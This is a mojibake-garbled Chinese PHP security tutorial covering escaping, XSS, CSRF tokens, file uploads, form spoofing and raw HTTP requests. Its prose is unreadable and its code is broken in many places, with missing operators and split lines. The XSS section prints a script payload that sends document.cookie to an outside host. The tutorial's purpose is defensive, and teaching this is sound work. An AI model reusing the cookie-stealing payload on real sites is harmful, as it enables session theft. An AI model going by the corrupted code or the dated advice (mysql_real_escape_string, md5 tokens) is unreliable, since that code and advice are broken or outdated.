µ±Ç°Î»Öãº>·þÎñÆ÷°²È«>

PHP¿ª·¢°²È«Ç³Ì¸



==¹ýÂËÊäÈë/Êä³öתÒå

    ¹ýÂËÊÇWebÓ¦Óð²È«µÄ»ù´¡¡£ËüÊÇÄãÑéÖ¤Êý¾ÝºÏ·¨ÐԵĹý³Ì¡£Í¨¹ýÔÚÊäÈëʱȷÈ϶ÔËùÓеÄÊý¾Ý½øÐйýÂË£¬Äã¿ÉÒÔ±ÜÃâ±»ÎÛȾ£¨Î´¹ýÂË£©Êý¾ÝÔÚÄãµÄ³ÌÐòÖб»ÎóÐż°ÎóÓᣴó¶àÊýÁ÷ÐеÄPHPÓ¦ÓõÄ©¶´×îÖÕ¶¼ÊÇÒòΪûÓжÔÊäÈë½øÐÐÇ¡µ±¹ýÂËÔì³ÉµÄ¡£
    ÓкܶàÖÖ·½·¨¹ýÂËÊý¾Ý£¬ÆäÖÐÓÐһЩ°²È«ÐԽϸߡ£×îºÃµÄ·½·¨ÊǰѹýÂË¿´³ÉÊÇÒ»¸ö¼ì²éµÄ¹ý³Ì¡£Çë²»ÒªÊÔͼºÃÐĵØÈ¥¾ÀÕý·Ç·¨Êý¾Ý£¬ÒªÈÃÄãµÄÓû§°´ÄãµÄ¹æÔòÈ¥×ö£¬ÀúÊ·Ö¤Ã÷ÁËÊÔͼ¾ÀÕý·Ç·¨Êý¾ÝÍùÍù»áµ¼Ö°²È«Â©¶´¡£
    ÁíÍâÒ»¸öWebÓ¦Óð²È«µÄ»ù´¡ÊǶÔÊä³ö½øÐÐתÒå»ò¶ÔÌØÊâ×Ö·û½øÐбàÂ룬ÒÔ±£Ö¤Ô­Òâ²»±ä¡£ÀýÈ磬O'ReillyÔÚ´«Ë͸øMySQLÊý¾Ý¿âǰÐèҪתÒå³ÉO\'Reilly¡£µ¥ÒýºÅǰµÄ·´Ð±¸Ü´ú±íµ¥ÒýºÅÊÇÊý¾Ý±¾ÉíµÄÒ»²¿·Ö£¬¶ø²»ÊDz¢²»ÊÇËüµÄ±¾Òå¡£
   
    Ïó¹ýÂËÒ»Ñù£¬×ªÒå¹ý³ÌÔÚÒÀÇéÐεIJ»Í¬¶ø²»Í¬¡£¹ýÂ˶ÔÓÚ²»Í¬ÀàÐ͵ÄÊý¾Ý´¦Àí·½·¨Ò²ÊDz»Í¬µÄ£¬×ªÒåÒ²ÊǸù¾ÝÄã´«ÊäÐÅÏ¢µ½²»Í¬µÄϵͳ¶ø²ÉÓò»Í¬µÄ·½·¨¡£
    ΪÁËÇø·ÖÊý¾ÝÊÇ·ñÒÑתÒ壬»¹Êǽ¨Ò鶨ÒåÒ»¸öÃüÃû»úÖÆ¡£¶ÔÓÚÊä³öµ½¿Í»§»úµÄתÒåÊý¾Ý£¬Ê¹$htmlÊý×é½øÐд洢£¬¸ÃÊý¾ÝÊ×Ïȳõʼ»¯³ÉÒ»¸ö¿ÕÊý×飬¶ÔËùÓÐÒѹýÂ˺ÍÒÑתÒåÊý¾Ý½øÐб£´æ¡£
<?php
     $html 
= array(     );
     
$html['username'] = htmlentities($clean['username'], ENT_QUOTES'UTF-8'
);
     echo 
"<p>Welcome, {$html['username']}.</p>"
;
?>

    htmlspecialchars( )º¯ÊýÓëhtmlentities( )º¯Êý»ù±¾Ïàͬ£¬ËüÃǵIJÎÊý¶¨ÒåÍêÈ«Ïàͬ£¬Ö»²»¹ýÊÇhtmlentities( )µÄתÒå¸üΪ³¹µ×¡£
    ͨ¹ý$html['username']°ÑusernameÊä³öµ½¿Í»§¶Ë£¬Äã¾Í¿ÉÒÔÈ·±£ÆäÖеÄÌØÊâ×Ö·û²»»á±»ä¯ÀÀÆ÷Ëù´íÎó½âÊÍ¡£Èç¹ûusernameÖ»°üº¬×ÖĸºÍÊý×ֵϰ£¬Êµ¼ÊÉÏתÒåÊÇûÓбØÒªµÄ£¬µ«ÊÇÕâÌåÏÖÁËÉî¶È·À·¶µÄÔ­Ôò¡£×ªÒåÈκεÄÊä³öÊÇÒ»¸ö·Ç³£ºÃµÄϰ¹ß£¬Ëü¿ÉÒÔÏ·¾çÐÔµØÌá¸ßÄãµÄÈí¼þµÄ°²È«ÐÔ¡£
    ÁíÍâÒ»¸ö³£¼ûµÄÊä³öÄ¿±êÊÇÊý¾Ý¿â¡£Èç¹û¿ÉÄܵϰ£¬ÄãÐèÒª¶ÔSQLÓï¾äÖеÄÊý¾ÝʹÓÃPHPÄÚ½¨º¯Êý½øÐÐתÒå¡£¶ÔÓÚMySQLÓû§£¬×îºÃµÄתÒ庯ÊýÊÇmysql_real_escape_string( )¡£Èç¹ûÄãʹÓõÄÊý¾Ý¿âûÓÐPHPÄÚ½¨×ªÒ庯Êý¿ÉÓõϰ£¬addslashes( )ÊÇ×îºóµÄÑ¡Ôñ¡£

==ÓïÒåURL¹¥»÷

    ÀýÈ磬Èç¹ûÓû§aµã»÷ÁËÒ»¸öÁ´½Ó²¢µ½´ïÁËÒ³Ãæhttp://abc.net/pr.php?user=a, ºÜ×ÔÈ»µØ¿ÉÄÜ»áÊÔͼ¸Ä±äuserµÄÖµ£¬¿´¿´»á·¢Éúʲô¡£
    Èç¹ûʹÓÃsession¸ú×Ù£¬¿ÉÒԺܷ½±ãµØ±ÜÃâÉÏÊöÇé¿öµÄ·¢Éú£º
<?php
     session_start
();
     
$clean 
= array();
     
$email_pa '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i'
;
     if (
preg_match($email_pa$_POST['email'
]))
     {
     
$clean['email'] = $_POST['email'
];
     
$user $_SESSION['user'
];
     
$new_password md5(uniqid(rand(), TRUE
));
     if (
$_SESSION['verified'
])
     {
         
/* Update Password */
         
mail($clean['email'], 'Your New Pass'$new_password
);
     }
     }
     
?>

    ÕýÊÇÕâÖÖ²»ÐÅÈεÄ×ö·¨ÊÇ·ÀÖ¹ÄãµÄÓ¦ÓòúÉú©¶´µÄ¹Ø¼ü¡£

==ÎļþÉÏ´«¹¥»÷

    ÓÐʱÔÚ³ýÁ˱ê×¼µÄ±íµ¥Êý¾ÝÍ⣬Ä㻹ÐèÒªÈÃÓû§½øÐÐÎļþÉÏ´«¡£ÓÉÓÚÎļþÔÚ±íµ¥Öд«ËÍʱÓëÆäËüµÄ±íµ¥Êý¾Ý²»Í¬£¬Äã±ØÐëÖ¸¶¨Ò»¸öÌØ±ðµÄ±àÂ뷽ʽmultipart/form-data£º
<form action="./upload.php" method="POST" enctype="multipart/form-data">
    Ò»¸öͬʱÓÐÆÕͨ±íµ¥Êý¾ÝºÍÎļþµÄ±íµ¥ÊÇÒ»¸öÌØÊâµÄ¸ñʽ£¬¶øÖ¸¶¨±àÂ뷽ʽ¿ÉÒÔʹä¯ÀÀÆ÷Äܰ´¸Ã¿É¸ñʽµÄÒªÇóÈ¥´¦Àí¡£
    ÔÊÐíÓû§½øÐÐÑ¡ÔñÎļþ²¢ÉÏ´«µÄ±íµ¥ÔªËØÊǺܼòµ¥µÄ£º <input type="file" name="attachment" />
    ¸ÃÔªËØÔÚ¸÷ÖÖä¯ÀÀÆ÷ÖеÄÍâ¹Û±íÏÖÐÎʽ¸÷Óв»Í¬¡£´«Í³ÉÏ£¬½çÃæÉϰüÀ¨Ò»¸ö±ê×¼µÄÎı¾¿ò¼°Ò»¸öä¯ÀÀ°´Å¥£¬ÒÔʹÓû§ÄÜÖ±½ÓÊÖ¹¤Â¼ÈëÎļþµÄ·¾¶»òͨ¹ýä¯ÀÀÑ¡Ôñ¡£ÔÚSafariä¯ÀÀÆ÷ÖÐÖ»ÓÐä¯ÀÀ°´Å¥¡£ÐÒÔ˵ÄÊÇ£¬ËüÃǵÄ×÷ÓÃÓëÐÐΪÊÇÏàͬµÄ¡£
    ΪÁ˸üºÃµØÑÝʾÎļþÉÏ´«»úÖÆ£¬ÏÂÃæÊÇÒ»¸öÔÊÐíÓû§ÉÏ´«¸½¼þµÄÀý×Ó£º <form action="./upload.php" method="POST" enctype="multipart/form-data">
     <
p>Please choose a file to upload
:
     <
input type="hidden" name="MAX_FILE_SIZE" value="1024" 
/>
     <
input type="file" name="attachment" /><br 
/>
     <
input type="submit" value="Upload Attachment" /></p
>
     </
form>

    Òþ²ØµÄ±íµ¥±äÁ¿MAX_FILE_SIZE¸æËßÁËä¯ÀÀÆ÷×î´óÔÊÐíÉÏ´«µÄÎļþ´óС¡£ÓëºÜ¶à¿Í»§¶ËÏÞÖÆÏàͬ£¬ÕâÒ»ÏÞÖÆºÜÈÝÒ×±»¹¥»÷ÕßÈÆ¿ª£¬µ«Ëü¿ÉÒÔΪºÏ·¨Óû§ÌṩÏòµ¼¡£ÔÚ·þÎñÆ÷ÉϽøÐиÃÏÞÖÆ²ÅÊǿɿ¿µÄ¡£
    PHPµÄÅäÖñäÁ¿ÖУ¬upload_max_filesize¿ØÖÆ×î´óÔÊÐíÉÏ´«µÄÎļþ´óС¡£Í¬Ê±post_max_size£¨POST±íµ¥µÄ×î´óÌá½»Êý¾ÝµÄ´óС£©Ò²ÄÜDZÔڵؽøÐпØÖÆ£¬ÒòΪÎļþÊÇͨ¹ý±íµ¥Êý¾Ý½øÐÐÉÏ´«µÄ¡£
    ½ÓÊÕ³ÌÐòupload.phpÏÔʾÁ˳¬¼¶È«¾ÖÊý×é$_FILESµÄÄÚÈÝ£º
<?php
     header
('Content-Type: text/plain'
);
     
print_r($_FILES
);
     
?>

    ΪÁËÀí½âÉÏ´«µÄ¹ý³Ì£¬ÎÒÃÇʹÓÃÒ»¸öÃûΪauthor.txtµÄÎļþ½øÐвâÊÔ£¬ÏÂÃæÊÇËüµÄÄÚÈÝ£º user abc
     http
:
//abc.org/[/php]
     
µ±ÄãÉÏ´«¸ÃÎļþµ½upload.php³ÌÐòʱ£¬Äã¿ÉÒÔÔÚä¯ÀÀÆ÷Öп´µ½ÀàËÆÏÂÃæµÄÊä³ö£º      [php
]Array
     (
         [
attachment
] => Array
             (
                     [
name] => author.
txt
                     
[type] => text/
plain
                     
[tmp_name] => /tmp/
phpShfltt
                     
[error] => 
0
                     
[size] => 
36
             
)      )

    ËäÈ»´ÓÉÏÃæ¿ÉÒÔ¿´³öPHPʵ¼ÊÔÚ³¬¼¶È«¾ÖÊý×é$_FILESÖÐÌṩµÄÄÚÈÝ£¬µ«ÊÇËüÎÞ·¨¸ø³ö±íµ¥Êý¾ÝµÄԭʼÐÅÏ¢¡£
    ÓÉÓÚPHPÔÚÎļþϵͳµÄÁÙʱÎļþÇø±£´æÉÏ´«µÄÎļþ£¬ËùÒÔͨ³£½øÐеIJÙ×÷ÊǰÑËüÒÆµ½ÆäËüµØ·½½øÐб£´æ¼°¶ÁÈ¡µ½ÄÚ´æ¡£Èç¹ûÄã²»¶Ôtmp_name×÷¼ì²éÒÔÈ·±£ËüÊÇÒ»¸öÉÏ´«µÄÎļþ£¨¶ø²»ÊÇ/etc/passwdÖ®ÀàµÄ¶«Î÷£©£¬´æÔÚÒ»¸öÀíÂÛÉϵķçÏÕ¡£Ö®ËùÒÔ½ÐÀíÂÛÉϵķçÏÕ£¬ÊÇÒòΪûÓÐÒ»ÖÖÒÑÖªµÄ¹¥»÷ÊÖ¶ÎÔÊÐí¹¥»÷ÕßÈ¥ÐÞ¸Ätmp_nameµÄÖµ¡£µ«ÊÇ£¬Ã»Óй¥»÷Êֶβ¢²»Òâζ×ÅÄã²»ÐèÒª×öһЩ¼òµ¥µÄ°²È«´ëÊ©¡£ÐµĹ¥»÷ÊÖ¶ÎÿÌìÔÚ³öÏÖ£¬¶ø¼òµ¥µÄÒ»¸ö²½ÖèÄܱ£»¤ÄãµÄϵͳ¡£
    PHPÌṩÁËÁ½¸ö·½±ãµÄº¯ÊýÒÔ¼õÇáÕâЩÀíÂÛÉϵķçÏÕ£ºis_uploaded_file( ) and move_uploaded_file( )¡£Èç¹ûÄãÐèҪȷ±£tmp_nameÖеÄÎļþÊÇÒ»¸öÉÏ´«µÄÎļþ£¬Äã¿ÉÒÔÓà is_uploaded_file( )£º
     
<?
php
     $filename 
$_FILES['attachment']['tmp_name'
];
     if (
is_uploaded_file($filename
))
     {
     
/* $_FILES['attachment']['tmp_name'] is an uploaded file. */
     
}
     
?>

    ×îºóÄã¿ÉÒÔÓà filesize( ) À´Ð£ÑéÎļþµÄ´óС£º
<?php
     $filename 
$_FILES['attachment']['tmp_name'];      if (is_uploaded_file($filename
))
     {
     
$size filesize($filename
);
     }
     
?>

    ÕâЩ°²È«´ëÊ©µÄÄ¿µÄÊǼÓÉÏÒ»²ã¶îÍâµÄ°²È«±£»¤²ã¡£×î¼ÑµÄ·½·¨ÊÇÓÀÔ¶¾¡¿ÉÄÜÉÙµØÈ¥ÐÅÈΡ£¶øÇÒËùÓеÄÊäÈë¶¼ÊÇÓк¦µÄ¡£ 

==¿çÕ¾½Å±¾¹¥»÷

    ËùÓÐÓÐÊäÈëµÄÓ¦Óö¼ÃæÁÙ×Å·çÏÕ¡£ÊÂʵÉÏ£¬´ó¶àÊýWebÓ¦ÓÃÌṩÊäÈëÊdzöÓÚ¸üÎüÒýÈËÆøµÄÄ¿µÄ£¬µ«Í¬Ê±ÕâÒ²»á°Ñ×Ô¼ºÖÃÓÚΣÏÕÖ®ÖС£Èç¹ûÊäÈëûÓÐÕýÈ·µØ½øÐйýÂ˺ÍתÒ壬¿çÕ¾½Å±¾Â©¶´¾Í²úÉúÁË¡£
    ÒÔÒ»¸öÔÊÐíÔÚÿ¸öÒ³ÃæÉϼÈëÆÀÂÛµÄÓ¦ÓÃΪÀý£¬ËüʹÓÃÁËÏÂÃæµÄ±íµ¥°ïÖúÓû§½øÐÐÌá½»£º
<form action="./comment.php" method="POST" />
     <
p>Name: <input type="text" name="name" /><br 
/>
     
Comment: <textarea name="comment" rows="10" cols="60"></textarea><br 
/>
     <
input type="submit" value="Add Comment" /></p
>
     </
form>

    ³ÌÐòÏòÆäËû·ÃÎʸÃÒ³ÃæµÄÓû§ÏÔʾÆÀÂÛ¡£ÀýÈ磬ÀàËÆÏÂÃæµÄ´úÂë¶Î¿ÉÄܱ»ÓÃÀ´Êä³öÒ»¸öÆÀÂÛ($comment)¼°ÓëÖ®¶ÔÓ¦µÄ·¢±íÈË£¨$name£©£º
<?php
     
echo "<p>$name writes:<br />"
;
     echo 
"<blockquote>$comment</blockquote></p>"
;
     
?>

    Õâ¸öÁ÷³Ì¶Ô$comment¼°$nameµÄÖµ¸øÓèÁ˳ä·ÖµÄÐÅÈΣ¬ÏëÏóÒ»ÏÂËüÃÇÖеÄÒ»¸öµÄÄÚÈÝÖаüº¬ÈçÏ´úÂ룺 <script>
     
document.location 
=
     
'http://a.abc.net/s.php?cookies=' 
+
     
document.
cookie
     </script>

    Èç¹ûÄãµÄÓû§²ì¿´Õâ¸öÆÀÂÛʱ£¬ÕâÓëÄãÔÊÐí±ðÈËÔÚÄãµÄÍøÕ¾Ô´³ÌÐòÖмÓÈëJavascript´úÂëÎÞÒì¡£ÄãµÄÓû§»áÔÚ²»Öª²»¾õÖаÑËûÃǵÄcookies(ä¯ÀÀÍøÕ¾µÄÈË)·¢Ë͵½a.abc.net£¬¶ø½ÓÊÕ³ÌÐò(s.php)¿ÉÒÔͨ¹ý$_GET['cookies']±äÁ¿·ÀÎÊËùÓеÄcookies¡£
    ÕâÊÇÒ»¸ö³£¼ûµÄ´íÎó£¬Ö÷ÒªÊÇÓÉÓÚ²»ºÃµÄ±à³Ìϰ¹ßÒý·¢µÄ¡£ÐÒÔ˵ÄÊÇ´ËÀà´íÎóºÜÈÝÒ×±ÜÃâ¡£ÓÉÓÚÕâÖÖ·çÏÕÖ»ÔÚÄãÊä³öÁ˱»ÎÛȾÊý¾Ýʱ·¢Éú£¬ËùÒÔֻҪȷ±£×öµ½ÈçµÚÒ»ÕÂËùÊöµÄ¹ýÂËÊäÈ뼰תÒåÊä³ö¼´¿É
    ×îÆðÂëÄãÒªÓÃhtmlentities( )¶ÔÈκÎÄãÒªÊä³öµ½¿Í»§¶ËµÄÊý¾Ý½øÐÐתÒå¡£¸Ãº¯Êý¿ÉÒÔ°ÑËùÓеÄÌØÊâ×Ö·ûת»»³ÉHTML±íʾ·½Ê½¡£ËùÓлáÒýÆðä¯ÀÀÆ÷½øÐÐÌØÊâ´¦ÀíµÄ×Ö·ûÔÚ½øÐÐÁËת»»ºó£¬¾ÍÄÜÈ·±£ÏÔʾ³öÀ´µÄÊÇÔ­À´Â¼ÈëµÄÄÚÈÝ¡£

==¿çÕ¾ÇëÇóαÔì

    ¿çÕ¾ÇëÇóαÔì(CSRF)ÊÇÒ»ÖÖÔÊÐí¹¥»÷Õßͨ¹ýÊܺ¦Õß·¢ËÍÈÎÒâHTTPÇëÇóµÄÒ»À๥»÷·½·¨¡£´Ë´¦ËùÖ¸µÄÊܺ¦ÕßÊÇÒ»¸ö²»ÖªÇéµÄͬı£¬ËùÓеÄαÔìÇëÇó¶¼ÓÉËû·¢Æð£¬¶ø²»Êǹ¥»÷Õß¡£ÕâÑù£¬ºÜÄã¾ÍºÜÄÑÈ·¶¨ÄÄЩÇëÇóÊÇÊôÓÚ¿çÕ¾ÇëÇóαÔì¹¥»÷¡£ÊÂʵÉÏ£¬Èç¹ûûÓжԿçÕ¾ÇëÇóαÔì¹¥»÷½øÐÐÌØÒâ·À·¶µÄ»°£¬ÄãµÄÓ¦ÓúÜÓпÉÄÜÊÇÓЩ¶´µÄ¡£
    ÄãÐèÒªÓü¸¸ö²½ÖèÀ´¼õÇá¿çÕ¾ÇëÇóαÔì¹¥»÷µÄ·çÏÕ¡£Ò»°ãµÄ²½Öè°üÀ¨Ê¹ÓÃPOST·½Ê½¶ø²»ÊÇʹÓÃGETÀ´Ìá½»±íµ¥£¬ÔÚ´¦Àí±íµ¥ÌύʱʹÓÃ$_POST¶ø²»ÊÇ$_REQUEST£¬Í¬Ê±ÐèÒªÔÚÖØÒª²Ù×÷ʱ½øÐÐÑéÖ¤£¨Ô½ÊÇ·½±ã£¬·çÏÕÔ½´ó£¬ÄãÐèÒªÇóµÃ·½±ãÓë·çÏÕÖ®¼äµÄƽºâ£©¡£
    ÈκÎÐèÒª½øÐвÙ×÷µÄ±íµ¥¶¼ÒªÊ¹ÓÃPOST·½Ê½¡£ÔÚRFC 2616(HTTP/1.1´«ËÍЭÒ飬Òë×¢)µÄ9.1.1С½ÚÖÐÓÐÒ»¶ÎÃèÊö£º
    “ÌØ±ðÐèÒªÖ¸³öµÄÊÇ£¬Ï°¹ßÉÏGETÓëHEAD·½Ê½²»Ó¦¸ÃÓÃÓÚÒý·¢Ò»¸ö²Ù×÷£¬¶øÖ»ÊÇÓÃÓÚ»ñÈ¡ÐÅÏ¢¡£ÕâЩ·½Ê½Ó¦¸Ã±»ÈÏΪÊÇ‘°²È«’µÄ¡£¿Í»§ä¯ÀÀÆ÷Ó¦ÒÔÌØÊâµÄ·½Ê½£¬ÈçPOST£¬PUT»òDELETE·½Ê½À´Ê¹Óû§Òâʶµ½ÕýÔÚÇëÇó½øÐеIJÙ×÷¿ÉÄÜÊDz»°²È«µÄ¡£”
    ×îÖØÒªµÄÒ»µãÊÇÄãÒª×öµ½ÄÜÇ¿ÖÆÊ¹ÓÃÄã×Ô¼ºµÄ±íµ¥½øÐÐÌá½»¡£¾¡¹ÜÓû§Ìá½»µÄÊý¾Ý¿´ÆðÀ´ÏóÊÇÄã±íµ¥µÄÌá½»½á¹û£¬µ«Èç¹ûÓû§²¢²»ÊÇÔÚ×î½üµ÷ÓÃµÄ±íµ¥£¬Õâ¾Í±È½Ï¿ÉÒÉÁË¡£Çë¿´ÏÂÃæ¶ÔǰÀýÓ¦Óøü¸ÄºóµÄ´úÂ룺 <?php      session_start();
     
$token md5(uniqid(rand(), TRUE
));
     
$_SESSION['token'] = $token
;
     
$_SESSION['token_time'] = time
();
     
?>
     <form action="buy.php" method="POST">
     <input type="hidden" name="token" value="<?php echo $token?>" />
     <p>
     Item:
     <select name="item">
     <option name="pen">pen</option>
     <option name="pencil">pencil</option>
     </select><br />
     Quantity: <input type="text" name="quantity" /><br />
     <input type="submit" value="Buy" />
     </p>
     </form>

    ͨ¹ýÕâЩ¼òµ¥µÄÐ޸ģ¬Ò»¸ö¿çÕ¾ÇëÇóαÔì¹¥»÷¾Í±ØÐë°üÀ¨Ò»¸öºÏ·¨µÄÑéÖ¤ÂëÒÔÍêȫģ·Â±íµ¥Ìá½»¡£ÓÉÓÚÑéÖ¤ÂëµÄ±£´æÔÚÓû§µÄsessionÖе쬹¥»÷Õß±ØÐë¶Ôÿ¸öÊܺ¦ÕßʹÓò»Í¬µÄÑéÖ¤Âë¡£ÕâÑù¾ÍÓÐЧµÄÏÞÖÆÁ˶ÔÒ»¸öÓû§µÄÈκι¥»÷£¬ËüÒªÇó¹¥»÷Õß»ñÈ¡ÁíÍâÒ»¸öÓû§µÄºÏ·¨ÑéÖ¤Â롣ʹÓÃÄã×Ô¼ºµÄÑéÖ¤ÂëÀ´Î±ÔìÁíÍâÒ»¸öÓû§µÄÇëÇóÊÇÎÞЧµÄ¡£   ¸ÃÑéÖ¤Âë¿ÉÒÔ¼òµ¥µØÍ¨¹ýÒ»¸öÌõ¼þ±í´ïʽÀ´½øÐмì²é£º <?php      if (isset($_SESSION['token']) &&
         
$_POST['token'] == $_SESSION['token'
])
     {
     }
     
?>

Ä㻹ÄܶÔÑéÖ¤Âë¼ÓÉÏÒ»¸öÓÐЧʱ¼äÏÞÖÆ£¬Èç5·ÖÖÓ£º
<?php      $token_age time() - $_SESSION['token_time'];      if ($token_age <= 300)
     {
     }
     
?>

    ͨ¹ýÔÚÄãµÄ±íµ¥ÖаüÀ¨ÑéÖ¤Â룬ÄãÊÂʵÉÏÒѾ­Ïû³ýÁË¿çÕ¾ÇëÇóαÔì¹¥»÷µÄ·çÏÕ¡£¿ÉÒÔÔÚÈκÎÐèÒªÖ´ÐвÙ×÷µÄÈÎºÎ±íµ¥ÖÐʹÓÃÕâ¸öÁ÷³Ì¡£
    ¾¡¹ÜÎÒʹÓÃimg±êÇ©ÃèÊöÁ˹¥»÷·½·¨£¬µ«¿çÕ¾ÇëÇóαÔì¹¥»÷Ö»ÊÇÒ»¸ö×ܳƣ¬ËüÊÇÖ¸ËùÓй¥»÷Õßͨ¹ýαÔìËûÈ˵ÄHTTPÇëÇó½øÐй¥»÷µÄÀàÐÍ¡£ÒÑÖªµÄ¹¥»÷·½·¨Í¬Ê±°üÀ¨¶ÔGETºÍPOSTµÄ¹¥»÷£¬ËùÒÔ²»ÒªÈÏΪֻҪÑϸñµØÖ»Ê¹ÓÃPOST·½Ê½¾ÍÐÐÁË¡£

==ÆÛÆ­±íµ¥Ìá½»

    ÖÆÔìÒ»¸öÆÛÆ­±íµ¥¼¸ºõÓë¼ÙÔìÒ»¸öURLÒ»Ñù¼òµ¥¡£±Ï¾¹£¬±íµ¥µÄÌá½»Ö»ÊÇä¯ÀÀÆ÷·¢³öµÄÒ»¸öHTTPÇëÇó¶øÒÑ¡£ÇëÇóµÄ²¿·Ö¸ñʽȡ¾öÓÚ±íµ¥£¬Ä³Ð©ÇëÇóÖеÄÊý¾ÝÀ´×ÔÓÚÓû§¡£
    ´ó¶àÊý±íµ¥ÓÃÒ»¸öÏà¶ÔURLµØÖ·À´Ö¸¶¨actionÊôÐÔ£º
<form action="./pr.php" method="POST">
    µ±±íµ¥Ìύʱ£¬ä¯ÀÀÆ÷»áÇëÇóactionÖÐÖ¸¶¨µÄURL£¬Í¬Ê±ËüʹÓõ±Ç°µÄURLµØÖ·À´¶¨Î»Ïà¶ÔURL¡£ÔòÔÚÓû§Ìá½»±íµ¥ºó»áÇëÇóURLµØÖ·http://abc.net/pr.php¡£
    ÖªµÀÁËÕâÒ»µã£¬ºÜÈÝÒ×¾ÍÄÜÏëµ½Äã¿ÉÒÔÖ¸¶¨Ò»¸ö¾ø¶ÔµØÖ·£¬ÕâÑù±íµ¥¾Í¿ÉÒÔ·ÅÔÚÈκεط½ÁË£º
<form action="http://abc.net/pr.php" method="POST">
    Õâ¸ö±íµ¥¿ÉÒÔ·ÅÔÚÈκεط½£¬²¢ÇÒʹÓÃÕâ¸ö±íµ¥²úÉúµÄÌá½»Óëԭʼ±íµ¥²úÉúµÄÌá½»ÊÇÏàͬµÄ¡£Òâʶµ½ÕâÒ»µã£¬¹¥»÷Õß¿ÉÒÔͨ¹ý²é¿´Ò³ÃæÔ´Îļþ²¢±£´æÔÚËûµÄ·þÎñÆ÷ÉÏ£¬Í¬Ê±½«action¸ü¸ÄΪ¾ø¶ÔURLµØÖ·¡£Í¨¹ýʹÓÃÕâЩÊֶΣ¬¹¥»÷Õß¿ÉÒÔÈÎÒâ¸ü¸Ä±íµ¥£¬ÈçÈ¡Ïû×î´ó×ֶ㤶ÈÏÞÖÆ£¬È¡Ïû±¾µØÑéÖ¤´úÂ룬¸ü¸ÄÒþ²Ø×ֶεÄÖµ£¬»òÕß³öÓÚ¸ü¼ÓÁé»îµÄÄ¿µÄ¶ø¸ÄÐ´ÔªËØÀàÐÍ¡£ÕâЩ¸ü¸Ä°ïÖú¹¥»÷ÕßÏò·þÎñÆ÷Ìá½»ÈκÎÊý¾Ý£¬Í¬Ê±ÓÉÓÚÕâ¸ö¹ý³Ì·Ç³£¼ò±ãÒ×ÐУ¬¹¥»÷ÕßÎÞÐèÊÇÒ»¸öר¼Ò¼´¿É×öµ½¡£
    ÆÛÆ­±íµ¥¹¥»÷ÊDz»ÄÜ·ÀÖ¹µÄ£¬¾¡¹ÜÕâ¿´ÆðÀ´ÓÐµãÆæ¹Ö£¬µ«ÊÂʵÉÏÈç´Ë¡£²»¹ýÕâÄã²»ÐèÒªµ£ÐÄ¡£Ò»µ©ÄãÕýÈ·µØ¹ýÂËÁËÊäÈ룬Óû§¾Í±ØÐëÒª×ñÊØÄãµÄ¹æÔò£¬ÕâÓëËûÃÇÈçºÎÌá½»Î޹ء£

==HTTPÇëÇóÆÛÆ­

    Ò»¸ö±ÈÆÛÆ­±íµ¥¸ü¸ß¼¶ºÍ¸´ÔӵĹ¥»÷·½Ê½ÊÇHTTPÇëÇóÆÛÆ­¡£Õâ¸øÁ˹¥»÷ÕßÍêÈ«µÄ¿ØÖÆÈ¨ÓëÁé»îÐÔ£¬Ëü½øÒ»²½Ö¤Ã÷Á˲»ÄÜäĿÐÅÈÎÓû§Ìá½»µÄÈκÎÊý¾Ý¡£
    Çë¿´ÏÂÃæÎ»ÓÚhttp://abc.net/form.phpµÄ±íµ¥£º
<form action="process.php" method="POST">
     <
p>Please select a color
:
     <
select name="color"
>
     <
option value="red">Red</option
>
     <
option value="green">Green</option
>
     <
option value="blue">Blue</option
>
     </
select><br 
/>
     <
input type="submit" value="Select" /></p
>
     </
form>

    Èç¹ûÓû§Ñ¡ÔñÁËRed²¢µã»÷ÁËSelect°´Å¥ºó£¬ä¯ÀÀÆ÷»á·¢³öÏÂÃæµÄHTTPÇëÇó£º POST /process.php HTTP/1.1
     Host
abc.
net
     User
-AgentMozilla/5.0 (X11ULinux i686
)
     
Refererhttp:
//abc.net/form.php
     
Content-Typeapplication/x-www-form-
urlencoded
     Content
-Length9      color=
red
.

    ¿´µ½´ó¶àÊýä¯ÀÀÆ÷»á°üº¬Ò»¸öÀ´Ô´µÄURLÖµ£¬Äã¿ÉÄÜ»áÊÔͼʹÓÃ$_SERVER['HTTP_REFERER']±äÁ¿È¥·ÀÖ¹ÆÛÆ­¡£È·Êµ£¬Õâ¿ÉÒÔÓÃÓÚ¶Ô¸¶ÀûÓñê×¼ä¯ÀÀÆ÷·¢ÆðµÄ¹¥»÷£¬µ«¹¥»÷ÕßÊDz»»á±»Õâ¸öСÂé·³¸øµ²×¡µÄ¡£Í¨¹ý±à¼­HTTPÇëÇóµÄԭʼÐÅÏ¢£¬¹¥»÷Õß¿ÉÒÔÍêÈ«¿ØÖÆHTTPÍ·²¿µÄÖµ£¬GETºÍPOSTµÄÊý¾Ý£¬ÒÔ¼°ËùÓÐÔÚHTTPÇëÇóµÄÄÚÈÝ¡£
    ¹¥»÷ÕßÈçºÎ¸ü¸ÄԭʼµÄHTTPÇëÇ󣿹ý³Ì·Ç³£¼òµ¥¡£Í¨¹ýÔÚ´ó¶àÊýϵͳƽ̨É϶¼ÌṩµÄTelnetʵÓóÌÐò£¬Äã¾Í¿ÉÒÔͨ¹ýÁ¬½ÓÍøÕ¾·þÎñÆ÷µÄÕìÌý¶Ë¿Ú£¨µäÐ͵Ķ˿ÚΪ80£©À´ÓëWeb·þÎñÆ÷Ö±½ÓͨÐÅ¡£ÏÂÃæ¾ÍÊÇʹÓÃÕâ¸ö¼¼ÇÉÇëÇóhttp://abc.net/Ò³ÃæµÄÀý×Ó£º telnet abc.net 80
     Trying 192.0.34.166
...
     
Connected to abc.net (192.0.34.166
).
     
Escape character is '^]'
.
     
GET HTTP/
1.1
     Host
abc.net      HTTP/
1.1 200 OK
     Date
Sat21 May 2005 12:34:
56 GMT
     Server
Apache/1.3.31 (Unix
)
     
Accept-Ranges
bytes
     Content
-Length
410
     Connection
close
     Content
-Typetext/html      <html
>
     <
head
>
     <
title>abc.net</title
>
     </
head
>
     <
body
>
     <
p>You have reached this web page by typing "example.com"
,
     
"example.net", or "example.org" into your web browser.</p
>
     <
p>These domain names are reserved for use in documentation and 
are not
     available 
for registration
See
     
<a href="RFC'>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC _fcksavedurl=""RFC'
>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC" 2606</a>, Section
     3.</p>
     </body>
     </html>      Connection closed by foreign host.
     $

